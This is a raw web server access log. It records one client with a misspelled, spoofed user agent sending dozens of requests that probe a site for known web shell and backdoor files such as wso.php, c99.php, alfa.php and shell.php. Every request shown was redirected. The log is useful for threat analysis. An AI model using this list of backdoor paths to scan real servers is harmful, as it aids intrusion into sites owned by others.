52.163.123.58 - - [20/Apr/2025:18:58:24 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:25 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:26 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 205.169.39.56 - - [20/Apr/2025:19:31:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 44.243.208.193 - - [20/Apr/2025:19:36:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:02 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:06 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:10 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:13 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:16 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:19 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:22 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:25 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:28 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:30 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:33 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:35 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:38 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:40 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:46 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:49 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:52 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:54 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:56 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:58:59 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:01 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:02 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:06 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:08 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:11 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:13 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:15 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:18 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:20 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:22 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:24 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:26 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:28 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:30 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:32 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:34 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:36 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:39 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:41 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:42 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:45 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:46 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:49 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:50 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:52 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:55 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:19:59:58 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:00 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:02 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:05 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:09 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:12 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:16 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:19 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:23 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:26 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:29 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:31 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:34 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:36 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:39 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:41 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:43 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:46 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:48 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:51 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:55 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:00:58 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:00 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:03 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:05 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:07 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:10 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:14 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:16 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:18 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:22 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:25 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:27 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:31 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:33 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:35 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:38 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:41 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:43 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:45 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:48 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:51 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:54 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:56 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:01:59 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:01 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:04 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 